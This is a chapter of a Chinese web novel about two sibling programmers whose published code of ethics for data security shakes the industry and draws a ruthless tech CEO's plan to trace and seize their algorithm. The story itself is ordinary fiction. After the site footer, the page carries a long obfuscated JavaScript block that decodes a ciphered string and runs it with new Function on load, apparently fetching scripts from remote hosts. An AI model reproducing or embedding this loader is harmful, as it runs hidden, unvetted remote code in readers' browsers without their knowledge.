前传第206章 行业震动,流言四起纷飞
前传第206章行业震动,流言四起纷飞(第1/2页)
深秋的江城,连日浸在一层薄薄的雨雾里。
天色亮得晚,清晨七点半,窗外的天依旧是灰蒙蒙的,云层压得很低,细密的雨丝斜斜落着,打湿老旧居民楼的防盗窗,顺着铁艺纹路蜿蜒滑落,悄无声息砸在楼下的青石板路面上。
没有风声,没有喧闹,整座城市还陷在晨起的沉寂里。
姚家老旧的居民小屋,一室一厅的空间干净得近乎寡淡。没有精致的摆件,没有花哨的装饰,客厅两张简易书桌、堆叠整齐的专业书籍、三台常年亮着微光的笔记本电脑,便是全部陈设。
这里是姚浮萍和姚厚朴扎根数年的小天地,也是初代五彩绫镜加密算法,最初生根、发芽、坚守纯粹的一方净土。
昨夜通宵的余温还残留在空气里。
键盘敲击的余韵、代码运行的轻微嗡鸣、熬夜留下的淡淡疲惫,交织成独属于兄妹二人的日常。
姚浮萍趴在书桌前,侧脸贴着微凉的桌面,乌黑的碎发垂落,遮住大半眉眼。长长的睫毛安静垂着,呼吸均匀绵长,是连日高强度攻坚后,难得的安稳沉睡。
屏幕亮光调至最暗,页面停留在昨夜最后定稿的《底层算法技术戒律》最终版文档。
白底黑字,字字工整,没有华丽的辞藻,没有刻意的标榜,只是一个纯粹的技术人,写给自己、写给未来所有同行的底线与初心。
昨夜凌晨三点,兄妹二人敲定所有条款。
凌晨四点,姚浮萍亲手将这份无关于名利、只关乎技术本心的戒律文档,同步更新在了自己公开的技术博客主页。
没有预热,没有宣传,没有刻意造势。
只是一次极其寻常、顺其自然的公开同步。
在姚浮萍的认知里,技术本该透明、纯粹、守序。
算法护佑数据,技术守护人心,这本就是行业本该恪守的底线,何须张扬,何须刻意博取关注。
她从没想过,这份安静发布的千字技术戒律,会在短短三四个小时里,彻底搅动整个江城数据安全圈,顺着行业社群、技术论坛、企业内网,层层扩散,引发一场席卷中小技术团队、初创公司、头部企业的剧烈震动。
……
上午八点十五分。
江城互联网安全产业园,写字楼灯火次第亮起。
各大企业员工陆续到岗,打卡、开机、晨会、对接当日工作,日复一日的职场节奏,平稳且枯燥。
没人预料到,今日的行业氛围,会被一篇无名小辈发布的技术短文,彻底打破长久以来的潜规则平衡。
国内最大的数据安全技术论坛——「安数圈」。
置顶推荐位,悄无声息多出一篇新帖。
发帖ID很简单,只有两个字:浮萍。
帖子标题朴素至极,没有噱头,没有悬念——《个人技术从业戒律·底层加密算法从业准则》。
发帖时间:凌晨四点零七分。
开篇第一句,便直击行业积弊,干净利落,不留余地:
「算法无贵贱,但从业者有底线。所有以牺牲用户隐私、换取商业流量、资本收益的技术迭代,皆为伪创新,皆不配称之为安全技术。」
整篇文档,共计十条戒律,千余文字。
字字落地,针砭时弊。
第一条,拒绝对用户隐私数据进行隐性爬取、后台溯源、批量脱敏转商用,加密技术只做防护,不做收割。
第二条,拒绝为资本定制“差异化安全权限”,普通用户与付费用户,享有同等数据防护底线。
第三条,拒绝以技术漏洞为筹码,胁迫用户付费升级、捆绑增值服务,安全无溢价,隐私无定价。
第四条,拒绝算法过度商业化迭代,优先保障安全稳定性,其次兼顾商业适配,本末绝不倒置。
第五条,拒绝为灰色产业、违规平台定制加密壳层,不为非法数据流转提供技术掩护。
十条戒律,层层递进,句句戳中当下数据安全行业最隐蔽、最普遍的乱象。
当下的行业,早已在资本的裹挟下,悄然变味。
所谓的数据安全加密,早已不是纯粹的防护工具。
头部大厂、盈利优先的科技公司,早已摸索出一套成熟的盈利逻辑:用基础安全功能引流,用漏洞BUG胁迫升级,用差异化权限收割付费用户,用隐性爬取的隐私数据,反向变现、精准营销、资源置换。
所有人都在默许、参与、妥协。
人人都知道规则,人人都在利用规则,人人都靠这份灰色潜规则,赚取源源不断的商业利益。
行业心照不宣,无人点破,无人反抗,更无人敢白纸黑字,立下戒律,公开对峙整个行业的逐利乱象。
从业之人,要么随波逐流,融入资本体系;要么沉默旁观,独善其身;要么无力妥协,最终被行业淘汰。
没有人,敢如此直白、如此决绝、如此不留退路地,当众撕开这层体面的遮羞布。
直到姚浮萍这篇千字戒律问世。
……
最初看到帖子的,是几名早起复盘技术帖的基层程序员。
八点零二分,第一个评论出现。
【:???这年头还有人写这种东西?太理想主义了吧。】
八点零五分,第二个评论。
【:逐条看完了,句句真话,但句句都是行业大忌。妹子怕不是刚入行的新人,不懂圈子规则。】
八点零八分,第三条评论。
【:技术理念无可挑剔,纯粹、干净、向善。但太不现实,在资本主导的行业里,这种底线,根本活不下去。】
起初,只是零星网友的感慨与唏嘘。
大家只当是某个理想主义新人的有感而发,看完感慨两句,便划走继续工作,无人在意,无人深究。
可十分钟后,帖子数据开始疯狂暴涨。
点赞、收藏、转发、评论,以肉眼可见的速度刷屏激增。
有人将帖子转发至行业千人技术大群。
有人截图分享给公司技术主管、项目负责人。
有人整理成文档,在初创团队、高校技术社团、行业交流圈层层传播。
短短半小时,「安数圈」全站热度第一。
阅读量破十万,收藏破三万,转发破八千。
原本沉寂如水的行业论坛,彻底炸开了锅。
有人赞同,有人嘲讽,有人敬佩,有人忌惮,有人嗤之以鼻,有人深深触动。
立场不同,利益不同,看待这篇戒律的心态,天差地别。
底层技术人员,大多心生共鸣。
他们常年身处一线,最清楚行业乱象,最懂技术妥协的无奈。无数次看着自己熬夜迭代的安全算法,被资本强行篡改逻辑,被商业需求绑架底线,从“守护安全”变成“收割用户”,心中积满憋屈与无力。
这十条戒律,句句说出了他们不敢说、不能说、无处说的心声。
【太戳心了!入行三年,亲眼看着纯安全算法,一步步变成资本收割的工具,无力改变,只能麻木妥协。】
【终于有人敢把行业潜规则摆到台面上了!安全无溢价,隐私无定价,这才是数据安全最初的意义!】
【不求所有公司遵守,只求这位作者,能守住自己的底线,别被行业磨平初心。】
而中层管理、项目负责人、企业运营者的评论区,却是截然不同的画风。
冰冷、现实、功利、充满嘲讽。
【空谈理想,误人子弟!技术不商业化,团队怎么活?公司怎么盈利?全员喝西北风?】
【幼稚至极!行业发展靠的是资本迭代、商业闭环,不是这种不切实际的圣母底线。】
【十条戒律条条锁死盈利路径,真要人人遵守,整个数据安全行业半数企业直接倒闭。】
【新人不知天高地厚,仅凭一腔理想,公然对抗整个行业生态,太过狂妄。】
两极分化的评论,愈演愈烈。
赞美与谩骂齐飞,共鸣与质疑共存。
没人知道ID“浮萍”是谁。
没人知道这个写下硬核技术戒律、格局通透、底线坚定的人,只是一个二十二岁、尚未正式入职大厂、偏爱闭门深耕算法的年轻女孩。
所有人都在疯狂猜测她的身份。
【哪家大厂的技术大佬隐退了?文风沉稳,认知通透,绝对是深耕行业十年以上的老人!】
【应该是高校顶尖博导,看不惯行业乱象,发声警示后辈!】
【不可能是新人,新人根本看不懂行业深层规则,更写不出这种直击本质的戒律!】
猜测漫天飞舞,流言悄然滋生。
有人说,这是老牌安全企业造势,借机打压竞品;
有人说,这是新团队炒作博眼球,想靠情怀出圈接单;
有人说,这是资本博弈的舆论铺垫,为新的行业规则落地铺路;
更有人直言,作者必是圈内失意大佬,借着网络宣泄不满,终究掀不起半点风浪。
短短一个上午,一篇千字技术戒律,演变成整个江城数据安全圈最大的舆论风波。
……
江城,荆棘科技总部。
顶层总裁办公室,落地玻璃窗俯瞰整座产业园。
室内恒温舒适,装修极简奢华,与姚家老旧小屋的清贫朴素,形成极致的反差。
荆棘科技创始人,周荆棘,正靠在真皮座椅上,指尖夹着一支钢笔,目光冷冷盯着电脑屏幕上的那篇《个人技术从业戒律》。
屏幕右侧,是助理实时汇总的行业舆情简报。
热度暴涨、圈层扩散、两极对立、流言纷飞。
密密麻麻的文字,清晰记录着这篇无名帖子,如何搅动整个行业格局。
周荆棘今年四十二岁,深耕数据安全行业十五年,白手起家,靠着一次次钻行业漏洞、踩着灰色边界牟利、窃取小型团队技术成果、牺牲用户安全换取商业利益,一步步将荆棘科技,打造成江城头部数据安全企业。
(本章未完,请点击下一页继续阅读)前传第206章行业震动,流言四起纷飞(第2/2页)
他不信初心,不信底线,不信所谓的技术向善。
在他的认知里,技术是工具,资本是王道,利益是唯一真理。
所谓的用户隐私、数据安全、行业底线,在绝对的商业利益面前,一文不值。
这些年,他见惯了理想主义者的崛起与陨落。
无数心怀初心的技术新人,一腔热血闯入行业,发誓坚守底线、深耕纯粹技术。最终要么被资本同化,要么被市场碾压,要么被同行围剿,悄无声息销声匿迹。
理想,从来都活不过资本。
底线,从来抵不过利益。
可今天,这篇突如其来的技术戒律,却精准戳在了他最忌讳、最敏感的地方。
尤其是其中第三条、第五条戒律,几乎是针对性斩断了荆棘科技大半盈利路径。
拒绝漏洞胁迫付费、拒绝灰色产业加密掩护、拒绝隐私数据商用变现。
条条戒律,都在否定荆棘科技赖以生存的商业模式。
“有意思。”
良久,周荆棘低声冷笑一声,眼底掠过一丝阴鸷的玩味,语气冰冷淡漠。
“无名无姓,凭空出世,一篇空话戒律,也敢搅动行业风向?”
身旁的市场部总监站在一旁,神色凝重,低声汇报:“周总,舆情还在扩散,目前江城半数技术社群都在讨论这篇文章。很多基层程序员纷纷转发共鸣,甚至有部分初创团队公开表态,认可这份从业底线。”
“长此以往,会动摇行业既定规则,对我们的商业模式,造成隐性冲击。”
周荆棘指尖轻点桌面,节奏缓慢,带着上位者的压迫感。
“冲击?”他嗤笑一声,“一群底层程序员的情绪共鸣,也叫冲击?”
“他们共鸣再多,改变不了行业规则,撼动不了资本格局。空谈情怀,不值一提。”
市场总监迟疑道:“可目前最大的问题是,没人知道作者身份。来路不明,理念极端理想化,还精准戳中行业灰色地带,难保不是有人刻意操盘,借机造势。”
“而且我们查到,这篇戒律的底层技术逻辑,隐隐贴合一种全新的加密算法架构,和市面上所有主流加密体系都不一样,极简、纯粹、安全性极高,完全摒弃了所有商业化冗余漏洞。”
这句话一出,周荆棘漫不经心的神色,终于彻底收敛。
他抬眸,眼神锐利如鹰:“全新加密架构?”
“是。”市场总监郑重点头,“戒律里隐含的技术思路,自成体系,重防护、轻盈利、零漏洞,完全打破了现有安全算法的商业桎梏。如果真的有人完整研发出这套算法,一旦落地商用,会彻底颠覆当下的行业盈利模式。”
现有所有头部企业,包括荆棘科技,都是依靠可控漏洞、差异化权限、隐私变现盈利。
可这套全新架构,从底层根除了所有灰色盈利空间。
纯粹安全,绝对透明,毫无漏洞。
这不只是理念的对抗,是技术维度的降维打击。
周荆棘眼底瞬间掠过浓烈的贪婪与忌惮。
他终于明白,这篇帖子根本不是什么新人感慨、大佬泄愤、情怀炒作。
这是一套全新技术体系的公开宣言。
宣言背后,藏着一套足以颠覆行业、撼动资本利益、重塑数据安全格局的顶级加密算法。
“查。”
周荆棘沉声开口,语气带着不容置喙的强势。
“动用所有渠道,彻查ID浮萍的真实身份。”
“查IP、查注册信息、查过往发帖记录、查技术同源账号。”
“不管是谁,不管是什么团队,这套算法,必须掌握在我们手里。”
极致的野心,赤裸裸暴露无遗。
觊觎之心,昭然若揭。
从最初的轻视嘲讽,到此刻的极致忌惮与贪婪,不过短短半小时。
原本被视作空谈情怀的千字短文,彻底让荆棘科技,盯上了幕后的创作者,盯上了尚未完全问世的初代五彩绫镜算法。
市场总监立刻应声:“我马上安排技术溯源、人脉排查!”
“另外,网上流言太多,要不要我们控评降温,引导舆论,抹黑作者理念,弱化影响?”
周荆棘微微抬手,眼底闪过一丝阴狠算计。
“不用。”
“不用降温,不用控评。”
“让流言飞。”
“理想主义的名声,捧得越高,摔得越惨。”
“现在全网共情、全员赞美,等到查出作者身份,只要抓到一丝瑕疵、一点妥协、一处商业化痕迹,所有的情怀滤镜瞬间破碎。”
“到时候,不用我们动手,整个行业的舆论,会亲手撕碎这个所谓的技术初心。”
他深谙人性,深谙舆论博弈。
大众的情怀最廉价,也最易碎。
今日有多追捧纯粹初心,明日就有多唾弃妥协世俗。
放任流言扩散,任由神话诞生,再亲手打碎,才是最彻底的扼杀。
“另外。”周荆棘补充道,“通知下去,全行业排查小型技术团队、个人开发者。近期所有研发全新加密算法、坚守零灰色盈利、拒绝资本捆绑的个人和团队,全部标记重点盯防。”
“能收购的高价收购,能挖角的全力挖角,不配合的,直接打压封杀。”
“绝不允许任何游离在资本体系外的纯技术团队,成长起来,坏了我们的格局。”
一声令下,杀机暗藏。
荆棘科技的触手,悄然伸向江城所有小众技术创作者。
一场针对纯初心技术团队的暗中围剿,自此悄然开启。
……
上午九点四十分。
雨势渐大,敲打着窗棂,发出细碎的声响。
姚家小屋内。
姚浮萍终于缓缓睡醒。
她揉了揉惺忪的睡眼,坐起身时,脖颈微微发酸,是通宵伏案落下的酸胀感。
窗外天色依旧阴沉,雨雾缭绕,安静得听不到外界半点喧嚣。
她伸了个浅浅的懒腰,目光下意识落在电脑屏幕上。
文档还停留在昨夜定稿的戒律页面。
一切如常,安静无声。
她并不知道,短短五个小时,她随手公开的一篇从业戒律,已经在外界掀起滔天巨浪。
更不知道,暗处的荆棘科技,已经将她和她的算法,列为必杀、必夺、必掌控的头号目标。
她的世界,依旧只有代码、算法、漏洞、迭代。
干净、纯粹、简单。
“醒了?”
隔壁房间,姚厚朴端着一杯温热的牛奶走出来,语气温和,眉眼温润。
他昨夜只浅睡了两个小时,天微亮就起身,默默浏览了全网舆情,看完了所有赞美、嘲讽、猜忌、流言。
心中早已了然一切。
只是他没有叫醒妹妹。
他太了解姚浮萍的性格。
心思纯粹,不问世事,不懂职场博弈,不懂资本险恶,只想安安静静深耕技术。
外界的风雨、流言、纷争、杀机,没必要让她过早知晓,徒增烦恼。
他是兄长,是她唯一的后盾。
妹妹只管坚守初心、深耕热爱,所有的世俗风雨、人情博弈、暗中杀机,由他一力抵挡。
姚浮萍点点头,接过温热的牛奶,小口抿了一口,轻声问道:“今早算法后台有异常吗?漏洞修补的测试数据,稳定吗?”
一睡醒,惦记的依旧只有技术。
姚厚朴温柔颔首,语气平稳无波,刻意掩去所有波澜:“很稳定,全部达标,底层漏洞彻底修补完毕,可以进入下一阶段迭代。”
“那就好。”姚浮萍眉眼微弯,露出一丝浅浅的笑意,干净又治愈。
“技术稳住就好,别的都不重要。”
看着妹妹纯粹无垢的眉眼,姚厚朴心中微暖,也微心疼。
他轻声开口,语气带着温柔的叮嘱:“浮萍,以后你的技术博客,少公开发声,好好深耕研发就够了。”
“外界纷扰太多,不适合你。”
姚浮萍微微一愣,不解地看向他:“为什么?技术理念本就该公开透明,共勉共进,不是吗?”
姚厚朴看着她清澈无垢的眼眸,终究没有说出那句残酷的真相。
没有告诉她,她的纯粹,在资本行业眼里,是异类,是威胁,是必除之患。
没有告诉她,全网已经因她沸反盈天,流言四起,杀机暗生。
他只是温柔一笑,轻轻揉了揉她的头发:“没什么,只是世俗复杂,人心浮躁,懂你的人太少。”
“我们守好自己的技术,守好自己的底线,就够了。”
外界风雨滔天,流言纷飞暗潮起。
此间小屋安宁,初心澄澈不染尘。
姚浮萍似懂非懂地点点头,重新坐回电脑前,目光专注地落在代码页面上,瞬间摒弃所有杂念,再度沉浸进属于她的纯粹技术世界。
她尚且不知。
从这篇千字戒律公开的这一刻起。
她安静独行的技术之路,再也无法低调平静。
一场席卷行业的目光聚焦、资本觊觎、明暗博弈,已然朝着这对平凡的兄妹,缓缓笼罩而来。
风起于微澜,行藏于无声。
漫天流言席卷行业,暗处杀机悄然蛰伏。
属于五彩绫镜的风雨前路,属于这群初心守护者的职场博弈,自此,真正拉开序幕。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();